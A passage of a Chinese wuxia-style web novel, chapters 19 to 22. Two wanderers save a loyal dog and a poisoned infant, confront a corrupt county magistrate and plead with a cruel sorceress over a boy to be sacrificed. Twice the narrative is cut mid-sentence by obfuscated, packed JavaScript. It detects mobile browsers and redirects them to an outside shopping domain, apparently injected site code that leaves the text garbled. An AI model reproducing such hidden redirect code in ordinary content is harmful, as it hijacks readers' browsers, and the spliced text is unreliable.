老汉点点头,示意他们想的是对的。他顿了顿,又压低了声音继续说下去:“自从十年前这位马县令来此地赴任,安陆县就大变了模样。城隍庙变成了圣姑庙,唯一出城的路突然雾气遮天,里面还闹鬼。大家困在这里出不去,外面的人也进不来,只好任凭他作威作福,剥削奴役。这十年来,他活得有滋有味的,我们的日子却是越过越苦了。” 说话间,一顶气派无比的轿子忽然从街道尽头被抬了过来,在一片吹打声中前行。过往行人皆退到一边,垂目不敢直视。薛矜目力过人,能看到轿顶挂满了珠宝翡翠,和路边百姓身上的粗衣布履形成了强烈的对比。 老汉低声说了一句:“老爷来了。”之后便示意两人和自己一起退到一边。薛陆二人交换了一个眼神,而后和他一道退下。 那顶轿子行在明亮宽阔的大路上,原本畅通无阻,可就在即将从薛陆二人身前经过时,忽然一条黄狗从草丛里跑了出来,拦住了轿子,还冲着轿子里面的马县令大声狂吠起来。 这变故来得太快,抬轿子的车夫猛然止住脚步,轿子因此剧烈地颠簸了一下。正翘着二郎腿哼着十八摸的马县令没有防备,哐当一声,结结实实撞到了车壁上,这一下撞得他生疼。再度坐稳身子后,马县令先是扶好自己的乌纱帽,随后猛地掀开轿帘,怒气冲冲地说道:“哪个不长眼睛的家伙敢拦本官的轿子?”定睛一看,居然是一只黄狗在挡路,那狗还冲着他不停狂吠,似乎有话要说。 陆怀袖也被眼前这一幕惊住了,饱读诗书的她很快联想到古书上多有记载的,关于动物告状的事情,这条黄狗敢冒死拦轿,其中必有是非。她抬眸偷偷打量马县令一眼,对方看上去一点也不像参加过科考的读书人,倒像个土匪一般。 她刚要和薛矜交头接耳一番,下一刻便看见那位县令高高扬起手中的马鞭,伴随着危险的破空声,狠狠打向那条大黄狗。他一边挥鞭子一边恶声恶气地说道:“哪里来的野狗,居然敢拦本官的轿子,你 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这么一想,还真是人不如狗啊。小公主在心中默默地为自己掬了一把同情泪。 马县令被他握住鞭子,下意识往后一拉,但用尽全身所有力气,那鞭子也抽不回来。他心中叫苦不迭,看来这一次碰上硬茬子了。 不经意间与少年的视线,他被对方盯得毛骨悚然。 少年仿佛已经和他认识了多年,打量他的目光好似将他从灵到肉看了个透,他的一切都在少年眼中无所遁形。强行压下心头那阵没来由的害怕,他端了几分怒色呵斥道:“大胆刁民,我乃是朝廷命官,你这样冒犯于我,是想要造反吗?” 薛矜依旧握着鞭子不撒手,用一贯慵懒的语调说道:“我可是大襄良民,安份守己得很,从来没想过要造反,只是想请老爷高抬贵手,放过这条可怜的狗。” 少年嘴上说得温和,马县令却感到一股暗劲透过鞭子涌入自己周身经脉中,让他整个人好似遭受了电击一般,浑身都不由自主的颤抖了起来。 他是个有眼力见的,早就看出少年不是易与之辈,和他作对只会害了自己,不如顺着对方给的台阶下。气势顿时弱了七八分,马县令清了清嗓子,色厉内荏地说道:“既如此,那本官便大发慈悲一回,放这拦路恶犬一马。” 见对方这么识时务,薛矜也松开了握住鞭子的手。他笑意吟吟地看着这位马县令,似有所指地说道:“老爷真是心善得很啊。” 马县令哪能听不出他的讽刺之意,但他听而不闻,给车夫使了个眼色,对方便忙不迭抬起轿子来,绕过那堆药渣,直直往前方走去。 众人见那顶官轿远去,而少年居然没有受到任何惩罚,都感到十分的惊讶,不过他们也看够了热闹,很快就散去,各做各事了。 19. 黄犬 见众人散去,薛矜走到那条遍体鳞伤的大黄狗身边蹲下。陆怀袖眼光闪烁了一下,立即做出了决定,也学着他蹲下身子。 薛矜对着那条狗诱导似的说道:“大黄狗啊大黄狗,你你有冤喊冤,有状告状,我们会尽己所能帮助你的。” 陆怀袖听闻此言后,赞同地点点头,在一旁随声附和道:“对啊,你有何冤情可以跟我们一一道来。” 见那条狗一动不动地只是望着他们,薛矜忽然福至心灵,换了一种方式问话:“你说不出来,给我们带个路也行。” 大黄狗好像听得懂他们说的话似的,立马对他们汪汪叫了三声,随即就在前方一颠一颠地带起路来,朝着一处荒坡方向跑去。看到此种情景,两人交换了一个眼神,十分默契的从彼此眼中看到了相同的想法:此地必有疑案。 两人一点也没有犹豫地跟了上去,跟着大黄狗七拐八拐地来到了一处洞穴门口,随后大黄狗朝着洞穴里面发出阵阵哀鸣。还未进洞,一阵小孩的啼哭声便传进了两人的耳中,小孩的啼哭声和大狗的哀鸣声混杂在一起,在那潮湿阴暗的洞穴回荡着,听起来十分诡异,吓人程度和他们初来乍到时听到的歌谣声有得一拼。 薛陆二人愣愣地站了一会儿,才迟疑地循着哭声找过去,却见一个不满周岁的小男孩仰面躺倒在草堆上,身上穿着花棉袄,头上戴着虎头帽,脚上穿着虎头鞋,看起来面黄肌瘦,甚是可怜。小孩的身旁还躺着三条一动不动的幼犬,此刻皆是气息全无,显然早已死去。 两人静静地看了一会儿,忽然明白了过来,这只大黄狗必定是为了喂饱这个小孩,没舍得给幼犬喂奶,活活饿死了它自己的三只小狗崽子。见到此等情景,他们看向大黄狗的眼神里多了几分复杂,似是没想到它居然能为了一个人类小孩做到这种地步。 这孩子这么小,又没病没灾的,却被扔到这个洞穴里,显然不合常理,其中必有隐情。而大黄狗之所以冒着被打死的风险拦住官轿,显然是想请里面的青天大老爷替小孩主持公道,只是老爷连自己手底下子民的死活都不顾了,哪里会理会一条路边野狗。 明白了大黄狗的良苦用心后,薛陆二人决定把这件事查个水落石出,替这小孩讨回公道,了却大黄狗一桩心事。 薛矜对陆怀袖使了个眼神,小公主顿时蹲下了身子,素手一捞,将躺在草堆上的男婴捞了起来,抱在怀中。她从来没有抱过孩子,但奇怪的是,那个小孩一到她怀里就立马不哭了,那双亮晶晶湿漉漉的眼睛安安静静地看着她,甚是乖巧。 陆怀袖看着怀中小小软软的婴孩,眼神逐渐变得柔和,温柔的用指尖点了点他的鼻子,那婴儿似乎并不抵触她这一举动,扬起笑任她施为,嘴边小酒窝若隐若现。逗弄了一会后,她面向少年,以发现宝藏的语气说道:“你看这个小孩好乖啊,怎么逗他他都不生气诶。” 薛矜盯着她看了一会,忽然轻笑一声道:“你这个小孩也挺乖的。”说完便迈开长腿越过了她,头也不回的向洞外走去。 陆怀袖闻言先是一愣,继而意识到对方说了什么,心头似有一根柔软的羽毛轻扫而过,酥麻之意瞬间遍布全身。压下心头那抹异样,她抿紧嘴巴,不让唇角翘起,抱着男婴亦步亦趋地跟着少年往外走。 薛陆二人带着一条大狗一个小孩又返回了原先的街道,这一路上他们商量好了,待会便将城中居民招聚在一起,再抱出小男孩儿让他们来认。 走到一片阴凉的树荫下,薛矜驱动内力,将声音远远传出:“各位父老乡亲,在下今日出行,在路上捡到一个不满周岁的男婴,不知是哪位丢失的小孩子?还请来树荫下认领。” 他加了内力的声音传遍了安陆县的每个角落,每个人都听得清清楚楚的,仿佛说话之人就在他们耳边耳语。很快百姓们来到树荫下认领,顿时将此地围了个水泄不通,连落脚的地方都没有。 众人伸长脖颈看了看,最后都说没有见过。太阳马上就要落山,但小孩的家人还是没来认领,薛矜见陆怀袖抱小孩抱得有些累了,便主动将小孩接过来抱在怀中。 他二人见无人认领,无奈地叹了一口气,刚要准备离开,这时一个妇人突然从人群里冲了出来,凑过去将薛矜怀里的小孩细细打量了一番,又怔怔地看了半晌,忽然放声大哭起来,语声哽咽:“我的儿啊,你怎么又活过来了……” 两人看到这里,觉得这事总算有了点头绪。 陆怀袖走到妇人身边,一边轻轻拍着她的背安抚着她,一边柔声细语地说道:“大嫂,你先冷静一下,将事情的经过一五一十讲述一遍。我们明白了整件事情的来龙去脉,也好为你和孩子讨回公道。” 少女的温柔安抚起了作用,妇人的情绪慢慢稳定下来。她抬手将脸上的泪水抹去,犹豫了一阵,当即把那天的事情原原本本跟众人说了一遍。 原来她的丈夫前不久突然得了暴病不治而亡,扔下了自己和自己刚满八个月的儿子。她和小叔子夫妻俩忙里忙外,一起办完了丈夫的后事,之后又靠给富贵人家浆洗衣物,做些绣活补贴家用。 七天前,她如往常一样拿着绣品去绣坊里面换钱,临走前还特地拜托了小叔子夫妻俩帮忙照看半天侄儿。谁曾想她刚拿着刺绣卖的钱回到家中,却发现自家小孩嘴冒白沫,脸色发青,任凭她怎么摇晃也始终没有反应。她以为儿子也像丈夫一样得了暴病,直接趴在床上哇哇大哭。闻讯赶来的小叔子夫妻俩也在一旁抹着眼泪,看上去十分悲伤。 接连失去了丈夫和儿子,她简直是受到了双重打击,精神近于崩溃。她伤心地大哭了一场,只怪自己的命不好,任由小叔子夫妻俩将儿子下葬,之后便主动离开了夫家,可谁知却在今日见到了死而复生的儿子。 薛矜沉默着听完了所有的话,将怀中抱着的小孩递给了他的母亲,对方感恩戴德,要向他们下跪,陆怀袖连忙上前扶住了她,她这大礼才行不成。 陆 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没想到还有这么一茬,看来这只大黄狗是为了报当年的一饭之恩,才救下了妇人的小孩。在一旁将一切都听在耳中的众人,对于面前这条大黄狗的态度越发肃然起敬。畜生都能做到奋不顾身和知恩图报,而有些人真的是连畜生都不如了。 之后妇人便抱着小孩和众人一起去报官,那条大黄狗也摇着尾巴跟着他们走了。薛陆二人留在原地,眼睁睁地看着人群作鸟兽散,喧嚣过后一切归于平静。 薛矜安安静静的站在树荫下,落日的余晖透过树叶停在他又长又密的睫毛上,打下一片扇形的阴影。 陆怀袖看着,不由得心中一动。她上前一步,和他并肩而立,随后便把心里的疑问问出来:“你怎么就替那条大黄狗出头了呢?你薛矜难道是什么古道热肠的好人吗?” 她说话夹枪带棒的,薛矜却不以为意地笑了笑,还是用那种懒散的语调说道:“我这样做,原因有二。第一,我还蛮喜欢小动物的,尤其是这么有灵性的小动物。看到它被鞭打,我当然不会坐视不管。第二,我讨厌那个马县令,和他作对,看他吃瘪,会让我感到心情愉悦。” 陆怀袖自动忽略了他的后半句话,幽幽说道:“你对小动物这么好,怎么对人……”说到这里,却顿住不往下说了。 她没有说下去,但薛矜却明白她想说为何,轻哼一声道:“这位少女,我对你不好吗?” 陆怀袖闻言低下了头,过了好半晌,才用像蚊子哼哼一样的声音说道:“也没有,你其实……对我很好。”越说到后面,声音越低。 薛矜唇角勾起,随即放下,用一种意味深长的语气说道:“拿钱办事,态度自然要好一点,你可别多想啊。” 他并没有明说,但陆怀袖就是听懂了他的言外之意,她莫名有些失落,但那时候的她还不懂那是因为什么。 她望向明明就站在自己身边,却怎么看也看不到的那个人,一种“明明离得很近,但又遥不可及”的感觉油然而生,在她心头萦绕着,久久不散。 20. 神婆 因为两天后李平安就要被当成祭品送到圣姑庙,李大婶走投无路之下,便想向安陆县里唯一的神婆求助。神婆在县里是响当当的人物,平日里大伙有什么异常的事都找她算卦,圣姑的旨意也都由她来传达,若是说动她去向圣姑求情,自己的儿子说不定还有一线生机。陆怀袖得知此事后,当即便决定跟她一起。 用完早膳后,两人一同出门,直奔神婆住处而去。因为路途遥远,两人一边疾行一边聊着,以摆脱心中的焦虑情绪。 闲话了一会儿家常,李大婶又和她说了大黄狗那件事的后续。自从那位妇人抱着她死而复生的儿子去衙门报了案后,小叔子夫妻俩便被衙役押到了公堂之上,他们怕马百万给自己来个严刑逼供,索性把一切都招认了。 原来是他们想要分家,却因为嫂嫂和侄儿是一户人家,要分走一半家产。他们不愿让两人占便宜,所以起了歹心,将石灰水喂给了侄儿,想要把他害死。可谁知那条大黄狗多管闲事,让他们事迹败露,最终功亏一篑。 真相大白。马县令为了杀一儆百,以平民愤,遂判处老二两口子死刑,之后又命衙役送妇人和小孩回家度日,也算做了件好事。 陆怀袖听得二人下场,只觉很是解气,同时心中不免感叹,人为了自己的利益真是什么事都能做出来。哥哥暴病身亡之后,老二两口子便迫不及待要分家,生怕孤儿寡母拖累了自己,又占了自己便宜,为此不惜亲手毒死侄儿,逼走嫂嫂。在利益面前,亲情简直不堪一击。一念及此,她不由得想起自己的际遇,悲从中来,不可断绝。 因为心中记挂着李平安的安危,两人脚步愈发地快了起来,转过两个弯,便来到了神婆的住所前。因为时候尚早,门前稀稀疏疏人并不多。侍女通报完后,两人得以踏入门中。 侍女在前方带路,陆怀袖一路跟着她穿过一处花园,看到了一大片盛开的曼陀罗花,各种颜色都有,远远望去显得格外漂亮。她本是个惜花之人,平时就喜欢侍弄花草,曼陀罗花本就不常见,能见到一株已是不易,如今居然能见到一片曼陀罗花海,这意外之喜,她还真没想到。看来这位神婆也是同道中人,还未见到对方,陆怀袖就已经对她生出了几分好感。 一行人最后来到一处环境清幽的院落之前,庭院大门上方挂着一块牌匾,其上用金色的字体龙飞凤舞写着三个大字——暗香阁。相貌清秀的侍女抬手做了个请的姿势,两人向她道了谢后,一把掀开门帘子就进了屋。 房间布置得很是素雅,雕花木窗下摆着一张长长的案几,上面横着一只琉璃香炉,此时正燃着袅袅烟气。一道细密的竹帘把房间一分为二,外边看不见里头,神婆就坐在竹帘之后,隐隐约约间让人看不清她的容貌,只能看到她纤细窈窕的身姿,不过光凭眼前所见,便不难想象,竹帘之后的那张脸是决计不会与丑字沾边的。 木板铺就的地上摆放着几个草编蒲团,李大婶随意拣了一个坐下,同时用眼神示意陆怀袖随她一样。 神婆似乎知道她们为何而来,咳嗽了两声,随后用她那嘶哑苍老的声音说道:“李夫人想必是为令郎而来的吧?” 听到对方直截了当地道出了自己的来意,李大婶也不和她拐弯抹角,开门见山地说道:“是的,还请神婆您在圣姑她老人家面前美言几句,放我那可怜的孩子一马,我们一家愿意世代供奉于她。” 听到她这一番话,神婆并不意外,毕竟谁能眼睁睁的看着自己的孩子去送死。但她并未被打动,反而嗤笑一声道:“哼,放你们的孩子一马?” 一阵难捱的沉默过后,她不带感情地开口说道:“李夫人还是尽早死了这条心吧,献给圣姑的祭品是必不可缺的。五年前违抗了她老人家命令的那家人,可是一夜之间全部离奇死亡了。你若是乖乖交出李平安,便可保得你夫妻二人性命,你若是顾念骨肉之情,最后不过是全家人死在一处罢了。孰轻孰重,你自己掂量。” 陆怀袖是听说过那家人下场的,全身血被吸干,到处遍布咬痕,这样的死法着实太过诡异,那位圣姑对胆敢违逆她的人,下手未免也太重了。 她这番话似一记重锤,狠狠砸在李大婶的心口,让她有些喘不过气来,难道自家儿子真的必死无疑了?她虽知希望渺茫,但还是跪在蒲团上,颤抖着声音恳求道:“求您……” 话还没说完,神婆便挥手打断她的话语,下一刻就毫不客气地下了逐客令:“两位还是请回吧,此事毫无转圜余地,不必多费唇舌了。” 李大婶听她说得如此决绝,脸色刷的一下就白了。她知道自己的儿子是必定要被当成祭品送过去了,浑身控制不住的颤抖着。 陆怀袖看在眼中,很是不忍,柔声细语地劝说道:“事已至此,我们还是先回去再做打算吧。” 李大婶也知道有些事情已经无法改变,只得点了点头,然后在少女的搀扶下往外走去。谁曾想她们刚走到门口,那苍老嘶哑的声音却再度响起:“慢着。” 两人以为事情出现了转机,神婆改变主意了,猛地扭头看去,脸上皆是涌出了喜悦的表情。然而神婆接下来说出的话,却让她们震惊不已:“如果你夫妻二人明日一步一叩首,诚心跪到圣姑庙,说不定就能感动她老人家,然后放你们儿子一马。”说到此处,她顿了顿又继续说道:“不过,那就要看你们愿不愿意付出了。” 说到最后,神婆的尾音有些上扬,透着浓浓的愉悦,听在陆怀袖耳中让她很是不舒服,好看的眉头蹙了蹙,而后她便察觉到自己扶着的身体颤抖得更加厉害了,一脸担忧地看向对方。 迎上她关切的眼神,李大婶摇了摇头说道:“我没事儿,我们先回去吧。” 两人说完便再度迈开脚步,端坐在竹帘之后的神婆看着两人逐渐消失的背影,发出了一声嘲弄的冷哼声,转瞬便飘散在风中。 * 刚刚入夜,用完晚膳后,陆怀袖想起白天发生的事,心绪难平,便推门而出,四处游荡。她不知不觉走到院子里,似有所感的抬头往上看了一眼,那在夜色里无比显眼的一抹红色当即跳入她的眼帘。 正是薛矜。 月色之下,他坐在屋顶上,晚风拂动他的宽袖衣摆,墨发飞扬,这场景自然是冷冽而静美的。见她抬头望来,薛矜正好低头和她对上视线,少年少女四目相对,一上一下对望了一会儿,两人都没有说话,仿佛整个世界都安静了下来。 很快薛矜便装作若无其事地错开视线。 陆怀袖忽然就很想登上屋顶坐坐。在她所读的话本里,少侠都喜欢翻屋顶,她当时就很好奇,坐在上面吹晚风的滋味到底如何。可她知道此事不能倚仗薛矜,若是她向对方求助,可能只会得到一句冰冰凉凉的“得加钱”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273367|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如今一穷二白的她决定,山不来就我,我便去就山。 刚一做下决定,陆怀袖便果断的向李大婶借来梯子,随后手脚并用灵活地爬了上去,之后默默在少年身边坐下,和他隔着一段不近不远的距离。 两人定定地看着同一轮月亮,彼此都安安静静的不说话。率先打破沉默的是陆怀袖,她忽然毫无预兆地开口说道:“今早我们去神婆那求情了,她那里的花园很漂亮,里面种着许多不同品种的曼陀罗花……” 听到此处,薛矜的眸光意味不明地闪烁了几下,低着头自言自语般说道:“曼陀罗花……” 陆怀袖被他中途打断,不由得好奇问道:“怎么了吗?” 薛矜回过神来,装作若无其事地岔开话题道:“后面又发生什么了,为什么你们回来之后,心情都不是很好的样子?” 陆怀袖听了神情颓废,幽幽叹了口气,“自然是被那位神婆拒绝了。更过分的是,她还说李大叔李大婶要是肯一步一叩首,一路跪拜到圣姑庙,也许就能打动圣姑,让他们的儿子得以保全性命。” 薛矜闻言嗤笑一声道:“这怕不是把他们当傻子戏弄吧,反正成不成都是她一句话,摆明了就是拿他们取乐。” 听他这般说,陆怀袖连连点头附和道:“我也是这样认为的,可万一成了呢?为了这渺茫的希望,也许李大叔两口子真的会试着这样做。”她说着又抬头仰望着夜空中那轮明月,月是故乡明,她看着看着,莫名想到了远在皇城中的父皇和母妃,虽然他们亲手把自己推进了火坑,但这十五年来对她还是照顾有加的。如今彼此天各一方,她倒是有点想他们了。 想到此处,她百感交集,也顾不得少年愿不愿意听,自顾自地说道:“薛公子,我现在有点想念我的家人了。尤其是想念我母……母亲给我做的莲子糕,以前我不开心的时候,她就会给我做,然后我就会开心了。好想再吃一次啊。” 她接着又竹筒倒豆子似的说了一大堆,薛矜却始终不发一言,只是静静地看着月亮,也不知道他听没听进去。她在心中暗暗叹了一口气,停止了自己的单方面输出,侧过头静静地看着旁边的少年,皎皎月光洒在他的身上,为他披上一层朦胧的轻纱。隔着那层轻纱,他整个人显得缥缈的很,仿佛下一刻便要羽化登仙。 陆怀袖看着他,借着月光她看得很清楚,可她依旧觉得眼前人的一张脸朦胧而不真切。她忽然发现自己除了他的名字,好像对他一无所知。不知出于何种目的,她莫名想多了解他一点,想也不想便脱口而出:“薛公子会想念自己的家人吗?” 想念自己的家人? 薛矜闻言先是一愣,随即像是听到了什么可笑的话似的,带着轻嘲意味地“呵”了一声:“家人?我全家早就死光了。”这么惨绝人寰的事,他却轻描淡写地说了出来,没有一点伤心难过的表情。 陆怀袖听他这般说,真是恨不得把自己的舌头咬断,她该不会是触到对方逆鳞了吧?见少年始终沉默不语,她绞尽脑汁,斟酌了又斟酌,刚想开口补救一下,就见少年纵身一跃,只听得衣袂翻飞,他一袭红衣翩翩落下,稳稳落地。 屋顶上顿时只剩下她一个人。 她刚要说出口的话一下子变成一团棉花,堵在喉咙里上不来下不去,片刻后又化作一声叹气,从唇边逸出,很快被拂面而来的晚风吹散。 21. 分歧 次日一早,天空中乌云翻滚,伴随着轰隆一声雷鸣,滂沱大雨倾盆而下。外头暴雨如注,李大叔两口子却想冒雨出门,只因昨日神婆说若是他们肯在今天一步一叩首,一路跪拜到圣姑庙,兴许就能令李平安获得一条活路。可怜天下父母心,哪怕希望渺茫,他们也要给儿子活下来的机会。 李平安听闻此事,起初极力反对,不想让他的父母为他受累,但两口子执意要去,还让他不要干预,在家里乖乖的等他们回来。无可奈何之下,他只得依父母之言,呆在家中忙起自己的事务来。 陆怀袖看着外头的雨势,越下越大,伴随着阵阵闷雷,竟是半点要停歇的架势都没有。可夫妻俩出门却连一件蓑衣也不穿,就这样一步一叩首冒着大雨拜过去,可不得淋坏了身子?她越想越担忧,心烦意乱之下,便去找了薛矜。 她没费什么功夫就找到了他,少年立于庭院廊下,正在……挥刀砍苍蝇。廊外大雨倾盆,暴雨如注,却丝毫不减他的闲情逸致。他随手挥刀,三下五除二,数只苍蝇的翅膀就被斩断,掉落在地上。他一手刀法当真是出神入化,只是用在此处,颇有些“杀鸡焉用屠龙刀”的意味了。 陆怀袖在旁边默不作声地看了好一会,终于忍不住上前问道:“你知道李大叔李大婶去做什么了吗?” 薛矜漫不经心地回了一句:“知道啊。”他嘴上和她搭话,手上动作却是不停,不过眨眼的功夫,又有一只苍蝇惨遭不幸,命丧黄泉。 稍一犹豫,陆怀袖小心翼翼地说道:“那你要和我一起过去,一路陪着他们直至抵达终点么?” 薛矜一点也不把她的话放在心上,神色漠然地说道:“去了又能怎样,什么也改变不了。人家执意如此,你何必庸人自扰。” 陆怀袖被说得哑口无言,片刻后,她又梗着脖子说道:“可是去了就能求个心安理得啊。他们好心收留我们借住,如今遭逢不幸,于情于理,你总不能什么都不做吧?” 听了这话,薛矜侧头,径直向她望来,眼一眨不眨,不以为然地说道:“怎么不能?大雨天就该好好呆在屋里,你要是闲得慌你就自个去呗。” 陆怀袖闻言,难以置信地说道:“你宁愿在这砍苍蝇玩,也不愿意去那陪他们?” 薛矜轻轻笑了笑,用一种理所当然的口吻说道:“没错啊。”他说着,又抬头看了一眼天色,拖着懒懒的调子说道:“天色还早,砍完苍蝇,我还能睡个回笼觉呢。” 他自始至终都是一副无动于衷的样子,整个人平静得就像一滩死水,看的陆怀袖更是恼火,当即便忍不住口不择言怒道:“你真是个冷血无情铁石心肠无情无义寡情薄意的小人。” 听了她这番评价,薛矜是一点也不生气,大大方方地承认道:“是啊,我就是这样的人,你第一天认识我?”见眼前的少女气得浑身颤抖,他仿佛觉得不够,又火上浇油地添了一句:“并不是所有人都和你一样爱管闲事的。” 下一刻,他又像是想到什么似的,将视线投向廊外淅淅沥沥的雨幕,眼神空洞地看着虚空中的某处,仿佛冥冥之中有一双眼瞳正在注视着他。他看了好一会儿,忽然毫无预兆地开了口,声音平静的出奇:“我以前认识一个家伙,也和你一样喜欢多管闲事,你猜他后来怎么着?” 陆怀袖闻言一愣,并没有立刻作出回答。薛矜似乎只是单纯的随便问问,并不想要她的答案,没等她说话,又自顾自说了下去:“后来他就被人乱拳打死了。”他的声音很轻,依旧没什么抑扬顿挫,陆怀袖听在耳中,却察觉出一股莫名的悲伤。 她几乎以为那是自己的错觉,像薛矜这样的人,也会为了别人的死难过么?她还记得昨天夜里,他提及自己全家都死光了的时候,那一脸无所谓的表情。 方才那短短一幕,仿佛微风拂过死水,毫无波澜的水面被撩开圈圈涟漪,眨眼却又平息下来。薛矜又恢复了冷冰冰的模样,冲门口抬了抬下巴,皮笑肉不笑地提醒道:“陆小姐还不快去,他们要是走远了,我怕你跟不上呢。” 经他提醒,陆怀袖这才如梦初醒一般回过神来。眼前的少年依旧挥刀砍着苍蝇,一副不动如山的模样,她咬了咬下唇,不再多费口舌,撑起伞朝着雨幕中走去了。 薛矜斜睨她一眼,意味不明地哼了一声,随后不动声色地继续着手头的动作。 一阵阵刀光过后,附近所有的苍蝇全部都掉在地上,它们的翅膀整整齐齐被斩断,切口十分平整。 * 陆怀袖撑着伞去找李氏夫妻,没过多久便找到了他们,毕竟他们要一步一叩首,怎么也快不了。 她执伞立在一旁,就这样隔着雨幕看着他们走出一步,然后跪下磕头,再站起来,又机械地重复了一遍先前的动作。这样循环往复,就好像在山坡上推石头一样,推到山顶,石头又落了下来。 但她什么也做不了,只能在一旁眼睁睁地看着,毫无办法。 一股浓浓的无力感袭上心头,陆怀袖藏在袖中的手指甲深深嵌进了掌心中,几乎要把手掌心抠破。其实方才薛矜说的没错,就算她去了也什么都改变不了。 夫妻俩一下子闹出了大动静,周围越来越多的人围了过来,在一旁冷眼旁观。他们大致能猜出两人此番的真正目的,但他们的脸上没有流露出来任何的表情,有的只是一片麻木,一副事不关己,高高挂起的模样。 陆怀袖默不作声的将他们的表现收入眼中,手指甲嵌入掌心更深了几分。 这场雨一点也没有停下来的意思,反而越下越大。冰凉的雨水浇打在他们身上,淋湿了他们全身。吸了水的衣服重得很,让他们更加难以行走。他们的膝盖一次又一次重重磕在石子路上,痛得麻木了,一动就说不出的酸痛,每往前走出一步,都仿佛耗尽了全身的精气神般疲惫虚弱。但他们不知从哪生出的力气,死死地咬紧牙关,忍着剧痛,迈出了一步又一步,离目的地越来越近。 皇天不负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273368|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有心人,夫妻俩一步一叩首,终于一路跪拜到圣姑庙。希望就在眼前,胜利就在前方,陆怀袖松了口气,忍不住热泪盈眶,他二人总算是苦尽甘来了,她由衷地为两人感到高兴。 圣姑庙里,神婆早已等候在那里。她穿着黑袍,全身包裹得密不透风,同时脸覆白纱,头戴斗笠,遮挡了容貌,全身上下甚至连半点儿皮肤都不曾显露在外。 见夫妻俩如期而至,她丝毫不显得意外,仿佛一切都在她的意料之中。一阵短暂的沉默后,她用自己那苍老嘶哑的声音说道:“起来吧。” 夫妻俩如蒙大赦,这才摇摇晃晃的站了起来,只是甫一站起身,膝盖骨那处便传来一阵又一阵的痛感,让他们险些站不稳,得亏互相搀扶住,才不至于跌倒在地,摔个七荤八素。 好不容易站稳身形后,他们刚想询问神婆结果,对方便先行一步告知:“很抱歉,圣姑她老人家还是要你们儿子作祭品,让你们白来一趟了,你们还是回去吧。” 她嘴上说着抱歉,语气里却无半点歉意,陆怀袖甚至从中听出了几分说不清道不明的愉悦。虽然对方戴着斗笠看不清容貌,但她能想象得出,对方此时的唇角必定高高上扬,勾出了一抹恶作剧似的笑容。 想到此处,陆怀袖心有所感地望向供奉在庙中的雕像,雕像呈现出一个年轻女子的模样,五官端正,面容秀丽,是个难得的美人,同样也是当年那位饱受全县人欺压的外地女子,她如今归来,只为复仇。 圣姑盘膝端坐,垂眸注视着底下面无人色的李氏夫妻,就像猎人看着坠入陷阱里苦苦挣扎的猎物一般。她的唇角微弯,似笑非笑,像是很享受给予了他们希望,又亲手剥夺的乐趣。 此时的李氏夫妇就像是溺水的人好不容易被救上了岸,还没来得及呼吸几口新鲜的空气,那个救他们上岸的人却又亲手将他们摁回了水中,让他们更深的往下坠。他们的表情难看到了极点,现在就和霜打的茄子一样,一块青一块紫的。 欣赏够了夫妻俩那副不加掩饰的绝望表情,神婆还不忘在他们伤口上撒一把盐:“不要忘了明晚戌时将儿子送到这里,要是迟了,你们家可就要遭受灭顶之灾了。” 陆怀袖闻得此言,眉头深深蹙了起来,握住伞柄的手用力到骨节泛白。终究还是空欢喜一场么?既然一开始就没打算放过他们的孩子,又何苦作弄这对可怜的夫妻呢? 圣姑庙外不远处,绯衣少年长身玉立在雨中,落下的雨水尽皆被护体真气弹开,连他的一片衣角都碰不到。 他垂下眼帘,沉默地看着地面上那两道长长的触目惊心的血痕,转瞬便被大雨冲刷掉,了无痕迹。 “血浓于水的亲情?”他喃喃地念着,这几个字仿佛有千斤重量,沉得让他恍惚了一瞬。片刻后意识回笼,他冷然的唇角勾起轻蔑的弧度,“哼,真是可笑。” 雨落纷纷,风扬山野,他的话语声很快被风雨声吞没,消失于无形,就像那两道血痕一样。 22. 交易 自打夫妻俩从圣姑庙归来,李家便阴云密布,压抑得让人喘不过气来。两口子打心底认为李平安绝无活路,特地做了一顿丰盛的晚饭给他吃,只是再好吃的东西,他们吃下去也味同嚼蜡。 用完晚膳后,他们不约而同地放下碗筷,李平安掀开衣摆,双膝跪地,给父母砰砰砰磕了三个响头。行完叩拜父辈的大礼后,他站起身来,衣摆处的双手紧紧窝成拳,声音带着歉意:“孩儿不孝,今后不能在爹娘身侧服侍,尽人子之义。这一去,万望爹娘节哀制痛,保重身体,照顾好自己,孩儿来世再报答你们的恩情。” 他这一跪,引得身侧一阵抽噎。昏黄烛火之下,李大婶掩面垂泪,李大叔眼圈泛红,却因“男儿有泪不轻弹”这句古训,猛地仰起头,把即将掉下的眼泪硬是憋了回去。 这等生离死别的场面落入陆怀袖眼中,让她很是难受,她想说什么又觉得语言太过苍白无力,索性还是闭上嘴,听着夫妻俩细碎隐忍的哭声。 而薛矜此刻看上去,却跟没事人一样,坐在桌边百无聊赖地把玩茶杯,长腿交叠,姿态闲适慵懒,和笼罩着一片愁云惨雾的他们格格不入。陆怀袖无意中看到了他这副样子,满脸义愤填膺,没好气地瞪了他一眼,这个人也太没有同情心了吧。 薛矜也恰好这时抬头,对上小公主的视线。见她瞪着自己,他也不生气,回了个无可挑剔的笑容,那双标志性的狐狸眼弯成了月牙。陆怀袖见他还有心情笑,更是气不打一处来,只是碍于外人在场不好发作,否则就又要骂过去了。 她原本脾气很好,甚少动怒,可不知怎么的,眼前这个少年总能轻易的挑起她的怒火,让她大发脾气。 